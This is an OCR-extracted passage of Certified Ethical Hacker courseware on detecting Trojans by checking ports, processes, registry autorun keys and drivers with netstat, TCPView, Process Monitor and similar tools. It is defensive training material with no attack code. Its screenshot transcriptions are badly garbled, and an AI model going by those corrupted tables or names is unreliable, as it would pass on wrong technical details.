4 Thread Context: e i Thread Context:

Object 1 Event and Cali Object 1 Event and Call

Queue Queue

Thread Context
Storage

Thread Context
Storage

FIGURE 6.47: Event Driven Framework
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So far, we have discussed how a Trojan infects a system and the types of Trojans
available. Now we will discuss how to conduct Trojan detection. Trojan detection helps in
detecting the presence of Trojans on an infected system and thus helps you in protecting the

system and its resources from further loss.

Trojan Concepts Countermeasures
. Trojans Infection flill- Anti-Trojan Software
[ 7}
A . .
N Types of Trojans 1 Penetration Testing
v —
f » Trojan Detection

This section focuses on Trojan detection using various techniques or methods.
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Scan for suspicious OPEN PORTS

Scan for suspicious RUNNING PROCESSES

Scan for suspicious REGISTRY ENTRIES

Scan for suspicious DEVICE DRIVERS
installed on the computer

Scan for suspicious WINDOWS SERVICES

Exam 312-50 Certified Ethical Hacker

Scan for suspicious STARTUP PROGRAMS

Scan for suspicious FILES and FOLDERS

Scan for suspicious NETWORK ACTIVITIES

90

Scan for suspicious modification to
OPERATING SYSTEM FILES

90

Run Trojan SCANNER to detect Trojans

90

Chbpyright © by EC-CMMCil. All Rights Jte$ervfed'.;Reproduction is Strictly Prohibited.

H ow to D etect Trojans
Trojans are malicious programs that masquerade as a useful or legitimate file but
their actual purpose is to take complete control over your computer, thereby accessing your
files and confidential information. In order to avoid such unauthorized access and to protect
your files and personal information, an antivirus product has to be used, which automatically
scans and detects the presence of Trojans on your system or you can also detect the Trojans
installed on your system manually. The following are the steps for detecting Trojans:
1. Scan for suspicious OPEN PORTS
2. Scan for suspicious RUNNING PROCESSES
3. Scan for suspicious REGISTRY ENTRIES
4. Scan for suspicious DEVICE DRIVERS installed on the computer
5. Scan for suspicious WINDOWS SERVICES
6. Scan for suspicious STARTUP PROGRAMS
7. Scan for suspicious FILES and FOLDERS
8. Scan for suspicious NETWORK ACTIVITIES
9. Scan for suspicious modification to OPERATING SYSTEM FILES

10. Run Trojan SCANNER to detect Trojans
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S Trojans open unused ports in victim machine to connect back to Trojan handlers

B Look for the connection established to unknown or suspicious IP addresses

C:\Windows\system32\cmd exe S i X

J:\Users\AdmirOnetstat -an|

Ictive Connections

ILIQTPNINH

LISTENING
LISIENING
LISTENING

System Administrator
ESTABLISHED

LISTENING
>
S1J8 (nrinc rZIEMIHC
S888 JSV878°T:2382S KldBriZHED
8H IS.VH'N'I -23828 E2IWBn 2HED
] mCopyrif;ht © by EG-Gouncil. All Rights Jteseivfed.;Reproduction is Strictly Prohibited.

a o p) S canning for Suspicious P orts

Trojans open unused ports on the victim's machine to connect back to the Trojan
handlers. These Trojans can be identified by scanning for suspicious ports. Scan for suspicious

ports and look for the connection established to unknown or suspicious IP addresses.

31 C:\Windows\system32\cmd.exe

C:\Users\Adnin'lletstat -an

Actiue Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
Icp 0.0.0.0:445 0.0.0.0:0 LISIENING
TCP 0.0.0.0:554 0.0.0.0:0 LISTENING Typenetstat —an
ICP 0.0.0.0:1025 0.0.0.0:0 LISIENING i
IcP 0.0.0.0:1026 0.0.0.0:0 LISTENING incommand prompt
Icp 0.0.0.0:102? 0.0.0.0:0 LISIENING
ICP 0.0.0.0:1028 0.0.0.0:0 LISIENING
TCP 0.0.0.0:1029 0.0.0.0:0 LISIENING
ICP 0.0.0.0:2869 0.0.0.0:0 LISIENING
TCP 0.0.0.0:5357 0.0.0.0:0 LISIENING
ICP 0.0.0.0:10243 0.0.0.0:0 LISIENING
Iicp 0.0.0.0:22350 0.0.0.0:0 LISTENING
ICP 12?.0.0.1:12025 0.0.0.0:0 LISIENING
icp 127.0.0.1:12080 0.0.0.0:0 LISTENING L
Icp 127.0.0.1:12080 127.0.0.1:53850 ESTABLISHED System Administrator
IcP 127.0.0.1:12080 127.0.0.1:53852 ESTABLISHED
TCP 127.0.0.1:12110 0.0.0.0:0 LISTENING
FIGURE 6.48: Scanning for Suspicious Ports
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Port Monitoring
and CurrPorts

TCPView is a Windows program that will show detailed listings
of all TCP and UDP endpoints on your system, including the
local and remote addresses and state of TCP connections

Exam 312-50 Certified Ethical Hacker

Tools: TCPView

CurrPorts is network monitoring software that displays the
list of all currently opened TCP/IP and UDP ports on your
local computer

TCPView - Sysinternals: www.sysintemals.com THO ar CurrPorts - Iml-Pt
i Vin Hb | F'e Ed* Viow Option? Hdp
Xa i %»vv-as« o3
&MM et -i:'\‘;\,‘;f_w/xu Proem N* Procn.. Plotocol LocalPor  local Fot.. LocalAdd'mi  Remote.. Remote _ A
uni ESTCUSHED * Syjtere 84 w50 itkmp  [:}500
WL B s0 T )
WINW « Systen B0 WP I
W « Syd'm 90 e 3@
- . Syt 136 wpP 3@
+ Syiten BM (85 BD
;ﬁ#ﬂﬂ . @ we =
UANIVESE.OK + Systen BB WP 525 (151225
m L LISHMME: + Systen ™0 WP sem [kiObOMAOLH
‘0 « Syilam 90 WP s [:13Wo4
el SV @ ! « Syitom 0 WP @8 [:]:62086
Ml 441 nMBHS(Wip P wﬂr + Syaem 900 P 62060 [-1:62060
mrvimnicMMI mWUIIE=<! Ie.. ttpi S « Unknown 0 TP 49044 1000124924 & http
y 0 Unknown 0 TP 045 1002425 = hitp
-fist IIIG]E ™ 1. [to u ® Unknown 0 TP D 10012422 a0 http
T ' LTIV o o Uk 0 T DORDB © i
(11 { CUTSSELCHT o USTEW3 C Unknown 0 T s 100012°9254 80 Wp .
< >
Eflabfehet 2 Listening: 10 S3TotalPorts, 1R & vou Connections, ! Selectsd NirSattProenyare, ot ot
http://technet.microsoft.com http:/Amawvw. nirsoft. net
Copyright © by EG-CMMCil. All Rights~\pS'ervfed'.;Reproduction is Strictly Prohibited.
Port M onitoring Tools TCPView and CurrP orts
TCPView
Source: http://technet.microsoft.com
TCPView is a Windows program that shows detailed listings of all TCP and UDP endpoints on
the system, including the Jlocal and remote addresses and the state of TCP connections. On
Windows NT, 2000, and XP, TCPView also reports the name of the process that owns the
endpoint. It provides a more informative and conveniently presented subset of the Netstat
program that is shipped with Windows. It works on Windows NT/2000/XP and Windows
98/M E .
W hen TCPView runs, itenumerates all active TCP and UDP endpoints, resolving all IP addresses
to their domain name versions. On W indows XP systems, TCPView shows the name of the
process that owns each endpoint. By default, TCPView is updated every second. Endpoints that
change state from one update to the next are highlighted in yellow; those that are deleted are
shown in red, and new endpoints are shown in green. The user can close established TCPI/IP
connections (those labeled with a state of ESTABLISHED) and save TCPView's output window to

a file as well.
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J\\,n TCPView - Sysinternals: www.sysinternals.com L-J O X I
File Options Process View Help
Q a -< H
Process " PID  Piolocol  Local Address Local Pot  RemoteAddress  Renote Pot State N
' [SystemProc.. 0 TP wintrsseickdkdl 4277 123.176.32.147 http TIVE WAIT
) dromeexe 772 TCP win-msseickdk4l 4164 123.176.32.147 http ESTABLISHED
chromeexe 772 TCP Wirvimeselckdkdl 4250 123.176.32.138 http ESTABLISHED
chromeexe 772 TCP win-msseickdkdl 4251 123.176.32.138 http ESTABLISHED
® chrome.exe 772 TCP WinHmsselddkdl 4252 123.176.32.153 http ESTABLISHED =
? chromeexe 772 TCP wintrsselckdkdl 4274 1-199-59-150-9.twt... hitp CLOSE WAIT
chromeexe 772 TCP win-nsselckdkdl 4275 vipl 3 Ib40 lond.co... hitp ESTABLISHED
chromeexe 772 TCP WirH A4l 4276 vipl 31b40.Jond.co... http ESTABLISHED
chromeexe 772 TCP WINHY A4l 4278 3.176.32.147 http ESTABLISHED
chromeexe 772 TCP WinH 441 4279 mea03s16-in127.1... hitp ESTABLISHED
chrome.exe 772 TCP Winmsselckdkdl 4280 mea03s16-in27 1.. hitp ESTABLISHED
<b edpr serverexe 3380 TCP WIN-MSSELCK4K 12121 WIN-MSSELCK4K... 0 LISTENING
<b edpr_server.exe 3380 TCP WIN-MSSELCK4K.. 12122 WIN-MSSELCK4K... 0 LISTENING
firefox.exe 3876 TCP WIN-MSSELCK4K 1061 host 1052 ESTABLISHED
firefox.exe 3876 TCP WINH . 1052 locall 1061 ESTABLISHED
firefox.exe 3876 TCP WirH ckdkd 1082 hgrin189.1e100.... https ESTABLISHED
firefox.exe 3876 TCP WirH ckdk4l 4033 mea03s16-in{22.1... https ESTABLISHED
firefox.exe 3876 TCP win-msselckdk4l 4266 mea03s16-in4.1e... https ESTABLISHED
firefox.exe 3876 TCP win-msseickdk4l 4271 mea03s16-inf21e... hi ESTABLISHED
<> etalkexe 36838 TCP win-msselckdkdl 1195 ni-in125.1e100. net 5. ESTABLISHED
L"Booaletdk exe 3688 TCP win-m;; elckdk4l 4281 74125236189  hitp SENT
etalkexe 3688 TCP wirHmsselckdkdl 4282 6in29.1, . hitp SYN SENT
a* [sassexe 644 TCP WIN-MSSELCK4K 1028 WIN-MSSELCK4K... 0 LISTENING
1" Isassexe 644  TCPV6 win-sselckdkdl 1028 winmsselckdkdl 0 LISTENING
m Sevicesexe 636 TCP WIN-MSSELCKAK 1029 WIN-MSSELCK4K... 0 LISTENING \Y
[ T, n <
Endpoints: 69 Established: 22 Listening: 28 Time Wait: 1 Close Wait: 1
|
FIGURE 6.49: TCPView Tool Screenshot
CurrPorts Tool
Source: http://www.nirsoft.net
CurrPorts allows you to view a list of ports that are currently in use and the application that is
using the ports. You can close a selected connection and also terminate the process using it,
and export all or selected items to an HTML or text report. It displays the list of all currently
opened TCP/IP and UDP ports on the system. For each port in the 1list, information about the
process that opened the port is also displayed, including the process name, full path of the
process, version information of the process (product name, file description, etc.), the time that
the process was created, and the user who created it.
It allows you to close unwanted TCP connections, Kkill the process that opened the ports, and
save the TCP/UDP ports information to HTML file, XML file, or tab-delimited text file.
& CurrPorts 1= 1- -0 _|
HI*  Edit Vimw Option! H'jp
Proutt N«" PIOC«. Protocol  Locjl Port  lc«*i Pci.  loc4l Add'au Ram R«mots,.. A
O System 84 uP 50 sakmp [:1500
O System 1940 uP 190 " dp [:1901c
O System 1940 uP 37 W5*SCO_  [:>3702
0* System 9 uoP 3702 as-Jsco__ [:>3702
O System 1376 P 3702 WS-*KO_  [:>3702
O System 64 uP 450: ipsec-mAt  [::>4500
O System 476 uoP 53% Imnr [::>6355
O System 1375 uoP 51225 [:>53225
O System 1940 ubP 59293 [fe80=b9ea:d01-
® System 1940 P 5920 1:7<50294
O System 190 P 62056 [::(62056
O System w uP 605C [::62060
0 Unknown 0 TCcP 4924a 1000.1249244  go http
O Unknown 0 TCcP 49245 1000.1249245 60 http
O Unknown 0 TCP 49252 1000 1249252 SO http
® Unknown 0 TCcP 49253 1000.1249253 60 http
Unknown 0 TCP 4925a 1000124925a O http v 1
53 Total Port* | Remote Connections, ]Sdeaed NxVAlep_ hMp-wwnis»till.in
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Scanning for Suspicious CEH
Processes

Trojans camouflage themselves as genuine Process Monitor is a monitoring tool for Windows

Windows services or hide their processes to that shows file system, registry, and process/thread

avoid detection activity

Some Trojans use PEs (Portable Executable) U H U

to inject into various processes (such as
explorer.exe or web browsers)

Processes are visible but looks like a Process Monitor - Sysinternals: www.sysinternals.com
|egitimate processes and also helps bypass gile Edit Event Filter Tools fiptions Help
desktop firewalls Lx Ll & Vioe Il £lal ,, I*!

Pocess Name 31D Operation Path Resit
Explorer EXE 5572 ~CreateFileMa... C:\Prcgram Hes * 86)\Nbz1I8 hnefo SUCCESS

Explow EXE™ 5572 rftRogOponKoy HKLM\Scftwaro\MIo'oooft\V/r"»w  SUCCESS'

Explorer EXE™ 5572 RegGHjeiyValueHKLMVSOFTWAREWaoMftXMftn.. NAME NO~
lgrer EXE*Z 5572 StRegOcseKey HKLM\SOFTWARE\Mkrosoft\Wr».. SUCCESS

Trojans can also use rootkit methods to hide 72t KcreateFile  C:\Progmwn Hes x»6>\bzlla hato  NAMr NO
. . j Ewlofw.EXE* 5572 ~Quwy Basiclnf...CAPregrani Hes xDG)WMijulla Hrefo .. SUCCESS
their processes cotnc tx m 548 &R#*dF 1# Ci\Window«Syct'm32\cxeev di  SUCCESS
cans.exe” 548 A ReadFie C:\Windows\System32\csrKv di SUCCESS

w"lcans.ece 548RegQueryValusHKLM\SO FTWARE\MBoscft\Win.. SUCCESS
. CSNS«e m 548 ReadFie C:\Windows\Systefn32\sxs.dIl SUCCESS

csrss exe”1 548 & ReadPie C:\Wir dil UCCE!
>48 rftRwQucrvKev HKLM SXCESS

Use process monitoring tools to detect
Showing 359,375 cf 662,305 events (54%) Backed by virtual memory

hidden Trojans and backdoors
http://technet. microsoft.com

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

S canning for Suspicious Processes

There are various symptoms that can indicate that our system has been infected. The
system suddenly becomes slow, downloading speed becomes slow, and the Internet's speed

also comes down drastically.

Attackers use certain rootkit methods to make the Trojan hide in the system where itcan't be
normally detected by antivirus software. These Trojans and worms wusually enter into the
system through pictures, music files, videos, etc. that are downloaded into the system. Initially,
everything seems to be good but slowly they show effect in various ways. By using process
monitoring tools, we can easily detect hidden Trojans, worms, and backdoors. Hidden Trojans
and other kinds of vulnerabilities or viruses can be detected by scanning for suspicious

processes.

Process M onitor

Source: http://technet.microsoft.com

Process M onitor is a monitoring tool for W indows that shows real-time file system, Registry,
and process/thread activity. It is used to analyze the behavior of spyware and dubious
programs. Its features include rich and non-destructive filtering, comprehensive event
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properties such as session IDs and user names, reliable process information, full thread stacks

with integrated symbol support for each operation, simultaneous logging to a file, etc.

Process Monitor -~ Sysinternals: www.sysinternals.com

File Edit Event Fijter Tools Options Help

Time Process Name PID Operation Path Result
(Explorer.EXE 5572 ykCreateFileMa... C:\Program Files fc86)\MOxzilla Firefo... SUCCESS
_Explorer.EXE 5572 ~tRegOpenKey HKLM\Software\Microsoft\Window... SUCCESS
Explorer.EXE 5572 4%RegQueryValueHKLM\SOFTWARE\Microsoft\Win... NAME NO~
,Explorer.EXE 5672 ~RegQoseKey HKLM\SOFP¥ARE\Microsoft\Win... SUCCESS
,Explorer.EXE 5572 [~CreateFile C:\Program Files fx86)\MOzlla Firefo... NAME NO~
1Explorer.EXE 5572 ykQuefyBasicInf...C:\Program Files fc86)\MUxzilla Firefo... SUCCESS

m'CSISS.exe 548 2/ ReadFile C:\WrKJcws\Systern32\sxssfv.dll SUCCESS

m'CcSrss.exe 548 ~ ReadFile C:\Windows\System32\csrsrv.dll SUCCESS

m'Ccsrss.exe 548 & RegQueryValue HKLMXSO FTWAR E\Microsoft\Win... SUCCESS

m'CsSrss.exe 548 Read File C:\Windows\System32\sxs dll SUCCESS

m'CSrss.exe 548 Read File C:\Windows\System32\sxs.dll SUCCESS
11:09 ' CSrss.exe 548 rftReaQuervKev HKLM SUCCESS
< m >
Showing 359,375 of 652,305 events (54%) Backed by virtual memory

FIGURE 6.51: Process Monitor
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Process Monitoring Tool: What's
Running

CEH

J What's Running gives an inside look into your Windows operating systems Microsoft

e Inspect the processes and
get performance and
resource usage data such
as memory usage,
processor usage, and
handles

e Information about dlls
loaded, services running
within the process, and IP-
connections associated
with processes

Copyright 6 by EG-GtUIICIl. All Rights Reserved. Reproduction is Strictly Prohibited

Process M onitoring Tool: W hat's R unning
A Source: http://www .whatsrunning.net
W hat's Running gives you an inside look into your W indows system , such
2000/XP/2003/Vista/W indows7. It explores processes, services, modules, IP-connections,

drivers, etc. through a simple-to-use application.

9 Processes: It inspects the processes and gives performance and resource usage
such as memory usage, processor usage, and handles. It gives all the details about
that are loaded, services that are running within the process, and the IP-connections

each process has

9 IP connections: It gives all the active IP connections in your system
9 Services: Inspects the services that are running and stopped
9 Modules: Finds out the information about all dll:s and exe:s that are in use o
system
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Drivers: It finds out the information about all drivers, for running drivers you can inspect

the file version for finding the supplier of the drive

System information: It shows crucial system information about your system such as

installed memory, processor, registered user, and operating system and its version

What'’s Running? 3.0 - | =]

File View Startup Help

Processes 79 Servicesml701GI Modies3497| A IPConnections m87 | ** Driverse 279| Q" Startup-16|  SystemInfo |

Snapshot Process Name Proces.  User Name CPU Prod!
_ Isass.exe 616 SYSTEM 00 KA
Q $~ake snapshot winlogon.exe 564 SYSTEM 00 »
t j Load Snapshot from file dwm.exe 868 tf >
Compare snap with sa... J explorer.exe 600 Administrator 00 » ;‘Em Process Properties
igfxtray.exe 3908 Administrator 00 |1
© Upload Snapshot o . hkemd.exe 3936 Administrator 00 | Process ID 4856
ighepers exe 4028 Administrator 00 | Process Name chrome.exe
_ processes N I{ft edpr_server.exe 3140 Administrator 00 E g‘)’sm Process ID gOOS
Q WinFLTray.exe 2224 Administrator 00 F
Start Process M FLComServDrl.exe 1036 Administator 00 F Target Win32
o Ston brocess J  Snagit32exe 1306 Administator * € ® Process
PP TscHelp.exe 3268 Admnstrator 00 0 Memory
3 Select Process columns SnagPriv.exe 3532 Administrator  * c Page Fault Count 58907
View delta Icons G V1 SmgitEdtorexe 4120 Administator 00 © Peak Working Set,. 45948 K
Getnfo onlne splwowbd.e. 4324 Admmstrator 00 » Working Set Size 37900 K
U firefoxexe 4420 Admmstrator  * F Quota Peak Page... 232K
¢ 1 Open foicer 3 POWERPNTEXE 4304 Adnmsttor 00 » Quota Paged Pool.. 225K
+3- ihow processes in Tree S mmcexe 4200 Adrministrator 00 » Quota Peak Non™" 25K
vmeonnect.exe 3372 Admristator 00 » Quota Non-Paged... 25 K
googletalk exe 304 Administator 00 C Page FleUsage 32364 K
A Irt] EMET notifier exe 304 Admintsrtor 00 E Peak Page File Ls... 37436 K
© chrome exe 00 C ® File Version
NP RARY' TP A A i mn = 0 Tme
rs - chrome.exe 4872 Admintstrator  * c Creation Time 10l/2/l20%2 5:4203 PM
(0 chrome.exe 2700 Admmstrator 00 ¢ Kerel Time 00:00:00:390
A chrome.exe 5096 Admmstrator 0.0 ¢ User Time 00:00:03:853
A chrome.exe 3600 Admmstrator  tf c @lo .
(£) chrome.exe 2580 Admmstrator 0.0 ¢ (3 U Objects
{£) chrome.exe 2240 Admmstrator 0.0 o L Services (0)
B[T Modules (46)

Update interval:! seconds

FIGURE 6.52: What's Running Tool Screenshot
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P r o ¢c e s s M o n ito rin g T o o Is C E H
i PrcView £9 Security Task Manager
http:/Avww.teamcti.com http:/Aw.neuber.com
A
M % Winsonar C YetAnother (remote) Process
http:/Avww.fewbyte.com Monitor
4) http://yaprocmon.sourceforge.net
HiddenFinder MONIT
http:/Avww.wenpoint.com http://mmonit.com
Autoruns for Windows Process Monitor
http://technet.microsoft.com http://technet.microsoft. com
H:3 KillProcess OpManager
http://orangelampsoftware.com http:/Aww.manageengine.com
Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.
Process M onitoring Tools
There are many process monitoring tools that you can use for the detection of Trojans
installed on your system. These tools display a list of all the processes running or installed on
your system . By analyzing the list you can identify the Trojans. These tools provide a
comprehensive monitoring console for your entire netw ork and IT infrastructure. They
continuously and proactively monitor the entire IT system because of which any outages or
performance degradations can be immediately identified and notified. In addition, it kills all the
software that threatenss your computer, even if it is hidden. A few process monitoring tools are
listed as follows:
9 PrcView available at http://www.teamcti.com
9 W insonar available at http://www.fewbvte.com
9 HiddenFinder available at http://www.wenpoint.com
9 Autoruns for Windows available at http://technet.microsoft.com
9 KillProcess available at http://orangelampsoftware.com
9 Security Task M anager available at http://www .neuber.com
9 Yet Another (remote) Process Monitor available at http://yaprocmon.sourceforge.net

9 MONIT available
9 Process Monitor

9 OpManager avail
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Ethical Hacking and Countermeasures Copyright © by EC-COUnNCIl
All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.neuber.com
http://mmonit.com
http://technet
http://www.manageengine.com
http://yaprocmon.sourceforge
http://www
http://www.fewbyte
http://www
http://technet.microsoft.com
http://orangelampsoftware.com
http://www.teamcti.com
http://www.fewbvte.com
http://www.wenpoint.com
http://technet.microsoft.com
http://orangelampsoftware.com
http://www.neuber.com
http://yaprocmon.sourceforge.net
http://mmonit.com
http://technet.microsoft.com
http://www.manageengine.com

Ethical Hacking and Countermeasures
Trojans and Backdoors

Exam 312-50 Certified Ethical Hacker

Scanning for Suspicious
Fnivtac

J Windows automatically executes
instructions in ] o
Finds registry errors, unneeded registryjunk
RUN and helps in detecting registry entries created
e Ru by Trojans

e RunServices
e RunOnce || NordrKieryX:C:ndhirdri{AOGM 150 Us» Tl

NRAddre teh EvAG A gtT« 8PSV xit-anct
NRBLctrer ! CLMEVA SeQrtoowtfo> i ISQj

e RunServicesOnce NRURHIKIIAIC T w&wlssc?l
mmmamg@ore

S HKEY_CLASSES_ROOT\exefil GO R
e\shell\open\command
"%1" %*.

sections of registry

J Scanning registry values for suspicious
entries may indicate the Trojan
infection

http://www.macecraft.com
J Trojans insert instructions at these

sections of registry to perform
malicious activities

Chbpyright © by EC-CMBCil. All Rights Jte$ervei;Reproduction is Strictly Prohibited.

"23 7T Scanning for Suspicious R egistry Entries
ikj-GJ
— W hen a Trojan gets installed on the victim's machine, it generates a registry entry.
W e can notice various changes; the first symptom is the system gets slower. Various
advertisements keep popping up. So, scanning suspicious registries will help in detecting

Trojans. Windows automatically executes instructions in the following sections of the registry:

© Run

9 RunServices

9 RunOnce

9 RunServicesOnce

Q HKEY _CLASSES_ROOT\exefile\shell\open\command "%1" %*
Scanning registry values for suspicious entries may indicate a Trojan infection. Trojans insert
instructions at these sections of the registry to perform malicious activities.

roon
] k jvie PowerTools 2012 -R egistry Cleaner

Source: http://www .macecraft.com

jvlie PowerTools 2012 is the ultimate registry cleaner used to find registry errors and unneeded

registry junk and helps in detecting registry entries created by Trojans.
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jv16 PowerTools 2012 [W8-x64] - Registry Cleaner

Fte Select lools Help

Key HKCRV-ocal Setting: i nd helv*mCa:he\
Entry’s name D:\CEH _Exe.FriendlyApp

Value SaltyBee

Entry last modified  01.10.2012,05:02

Error seventy 25

Error descripbon MRU and other history data
Fie reference D:\CEH-T30IsV5altyBee.Exe
ReasDn for detection Invalid file reference

Tags

Key / Entry'sname Value Entry last modified Errer severity  Error descnpton
O Q Invalid file or directory reference 7 —
0 HCCR\ ® C:\Witdows\Installer\{AC76BA8 20.09.2012, 07:46 Fie or drectory T: C:\Windows\Installer' {AC76BA86-7AD7-1033-7844-A95000000001 \XFDFFileJ
O H*ER\E \AppllcallQ Intel_mul6-<tevice_A09_R30799 01.10.2012, 05:02 NRU and other histaE i j4028r pispl |_multi-device_A09_R3079Q2.exe
0 HKGNC:VJsers\Admir Firefox 01.10.2012, 05:02 MRU and other hist( C:\Users\Administratorpesktop”irefox Setup 15.0. l.exe
0 HKCRAC:Vidsers\Admir Mozilla 01.10.2012, 05:02 MRU and other hist( C:VJsers\Administratorpesktop~iref6x Setup 15.0. l.exe
0 «<2%yE:\Applications Firefox 01.10.2012, 05:02 25%  MRUand other hist«E:\Applications\AppliationsVsireféx Setup 9.0. Lexe
0 HKCR™NE:\Applications Mozilla 01.10.2012, 05:02 25% MRU and other hish E:\Appiications\Applications”irefox Setup 9.0. Lexe
0 HKCRAC:\Program File Atelie” Web Remote Commander 01.10.2012, 05:02 25%  MRUand other hist(Civ/~ogram Files (x86)\Atelier WebRemote Commander Pro\awrcp.exe
0 HKCRAC: \Program File AtelieWeb Software 01.10.2012, 05:02 25%  MRUand other hist(Crv/~ogram Files (x86)\Atelier WebV~emote Commander Pro\3wrcp.exe

| KCR” DACEH-Tools\S SaltyBee 01.10.2012,05:02 |
0 HKCR\C:\Users\Admir SaltyBee 01.10.2012, 05:02 25% MRU and other Ns&C: YJser: downloadsV.ostD0Or _ Exe
0 HKCR\D:\CEH-Tools\C wireshark-win32-1.4.2.exe 01.10.2012, 05:02 25% MRU and other hist( D:\CEH-TOOIS\CEHv8 Module 10 Denial of Service Wireshark\wireshark-wn32-1.
0 HKCF~ C:\Users\AdmirMicrosoft Visual Studio Premium 01.10.2012, 05:02 25% MRU and other hist( C:\Users\Admmistratorpownloads\vs_premium.exe
0 HKCR\C:\Users\Admir Microsoft Corporation 01.10.2012, 05:02 25% MRU and other hist(C :VJsers jxemium.exe
0 HKOA E:\Applications Intel_multl-device_AO9_R30799 01.10.2012, 05:02 25% MRU and other hist(E: WAppltabons~Yell j4028r Ipisplay\Intel_multi-device_A09_R307992.exe
0 HKCUAC:\Users\Admir Firefox 01.10.2012, 05:02 6% MRU and other hist( GVUsersvAdmmistratorVDesktop/Nirefox setup 15.0. l.exe

< ] 1 N

custom fix...  [f Fix Delete Cose 3
Selected: 0, highlighted: 1 total: 1492
FIGURE 6.53: jv16 PowerTools 2012 -Registry Cleaner
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-X R egistry Entry M onitoring Tool: PC Tools R egistry

n M e chanic
Source: http://www.pctools.com

PC Tools Registry Mechanic is an advanced registry cleaner that scans the registry values for

suspicious entries created by Trojan infections. It fixes the W indows error and improves your
system speed and maximizes software performance. It cleans up your system and secures your
personal privacy. It keeps all your Internet and PC activities private and erases sensitive

information permanently.
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PC Tools | Registry Mechanic PC Tools | Registry Mechanic

FIGURE 6.54: PC Tools Registry Mechanic Tool Screenshot
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5 Reg Organizer trnm MJ Registry Watcher
http://www .chemtable.com http://www.jacobsm.com
Registry Shower Active Registry Monitor
http://www.registryshower.com http://www.devicelock.com
Comodo Cloud Scanner SpyMe Tools
| 1 http://www.comodo.com http://www.Icibrossolutions.com
Buster Sandbox Analyzer Regshot
http://bsa.isoftware.nl Py http://regshot.sourceforge.net
All-Seeing Eyes Registry Live Watch
La\ http://lwww.fortego.com & http://leelusoft.blogspot.in
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R egistry Entry M onitoring Tools

In addition to jviI1eé PowerTools 2012 - Registry Cleaner and PC Tools Registry

M echanic, there are many other tools that allow you to monitor registry entries and thus help

detect Trojans installed, ifany. A few of the registry entry monitoring tools that are mainly used
for the purpose of cleaning the registry are listed as follows:

0 Reg Organizer available at http://www.chemtable.com

0 Registry Shower available at http://www .registryshower.com

9 Comodo Cloud Scanner available at http://www.comodo.com

9 Buster Sandbox Analyzer available at http://bsa.isoftware.nl

0 All-Seeing Eyes available at http://www .fortego.com

0 MJ Registry W atcher available at http://www.jacobsm.com

0 Active Registry Monitor available at http://www.devicelock.com

0 SpyMe Tools available at http://www .lcibrossolutions.com

0 Regshot available at http://regshot.sourceforge.net

0 Registry Live W atch available at http://leelusoft.blogspot.in
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Scanning for Suspicious Device
Drivers

CEH

Trojan Device
Driver

S canning for Suspicious D evice D rivers

W hen device drivers are downloaded from various sources that are not trustworthy
Trojans may also get installed on the system . Trojans use these devices as covers to hide but by
using device driver monitoring tools, we can identify if there is any Trojan present. Trojans are
installed along with device drivers downloaded from untrusted sources and use these drivers as
a shield to avoid detection. Scan for suspicious device drivers and verify ifthey are genuine and

downloaded from the publisher's original site.
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Device Drivers Monitoring
Tool: DriverView

CEH

J  DriverView utility displays the list of all device drivers currently loaded on system. For each driver in the list,
additional information is displayed such as load address of the driver, description, version, product name, company
that created the driver, etc.

DnverView L
Fle Edt View Opions Help
fa eg 8"
Address See L. Indei file Type Desiiption Version Company
CDOBXI00X S0 ux0e000: ?d 125 Divel Windo<S NT OpenType/Type 1. S12'34  Adobe System™

d cdddi 000X00002AKDC  GEOXBbOC 1 124 Display[kwer  Canonical Display Driver 6.284000 Microsoft Corp..  oxoooxu. B
9 TSDDDdI 0000x000POS000  (HXO0SOC 1 123 OSployDiver  Framebuffer Deploy Driver 62840010 Microsoft Cop~  0X0000:X_
# wingksys 000> 5 SystemDir** Multi-User Win2 Oliver 6284000  Microsoft Cop... OXOOOXC-
9 passiupesdtsys W 1 1S3 SystemDiner  Passthru paiter 6284000 Microsoft Comp... 000000001
® vhdparser.sys A0 QGOCOH 1 “?  SemOlver  Native VHOpatter 6784000  Microsoft Cop..  OX000XL.
® atyncmac syt 0000000 16900000  QVKOOOXC 1 Net*orrDriver  MSRemote Acoess seria networ.. 6784000 Microsoft Carp... 00000X1...
» WPR0.4UOOLjyi 00OXI000'6901CW ~ QIOXOOC 1 g Unknoan 000000002
* \IZI 0000XO01(193300  oaofcox 1 NetMO<\ied — Server civer 62840010 Microsoft Com... 030000x
. 00033000 16MO0D USPAVECD 1 ¥5  Newerc 5,20 Sene ivei 6284000 MicrosoftCop... 0x0000: }
+ vhdmp.yl 000X000 16812000 G>000B000C 1l Sydm Qv WD Miniport Dover 6784000  MicrosoftCop..  0x000x
« ri0epend!.sy* oo 2 150 Viter" Drar  Fik Sytfem Dependency Mereg.. 62840010 Microsoft Cop..  OXOOOX'.
« 1>NgH(r m 00x12000 1 12 Application  TCPIPRegistry Compatibility0... 6284000  MKktosoft Cop.. OX000XL..
+ wnelys 0000G000LIUKICO i ML NatAOfi ivef  Server Network clvet .MOO.  MicrotoftCop..  0X000031-
. B»»W)JIMOOO (WD 1 40 Viee"Mo MHNmnn SKUtTV DKw 41.HO MiiwwnC OONONDL.
= idpdi.tyi 000X000 IMUOD0 ~ 20XTXC 1 I»  Owel NioorotleU Rt Device bedirector 6284000 Microsoft Cop.. 0X0000: 1-
» npleyt 000X000 191STCD  oricactooo U7 St oUpr  npfey*(NTV6AMOG4) Kemel D. 410201  CACI Toehnol.  QXOOOX1.
O NProbeMenvSYS m &OIXKCC 1 16  fynem Diner  NiProbeMemfoe Chserver Dave.. 16080 Network Insftu.  0X0000:1-
O WnVDidné.tys * 0000000 1 1B Unknown OX000XL..
* HTTPSt 0OOX0001£3800X ~ QDX4el000 1 14 SytemOiver  HTTPProtocol Stick 6284000  Microsoft Com... m
< lunparsdisys m (800 1 15 9semOiver  lunparse! 628000  MicrosoftCorp..
9 eondrvsys QMmO 1 143 Vifinre Oliver  ConsoleDriver 6284000 MicrosoftCop.. OXOOOX 1.
# stopotsys mﬂvﬁ) Q@uUIC 1 Diver  Mkmoft Storage Port Driver 6284000  Microsoft Goep..  OX000X1-
# WIVDEdvsys dootoc 1 M Unknown \liUinl Enayption Drive 7000 NewsSoftwires.... 0X000031-

mrismbioiVj 000B30001>023080 ~ <kX03900c | w"  ivitem Oliver  lonohoin SVB20Rediector 6284000  Microsoft Cora.. OXOOOX"
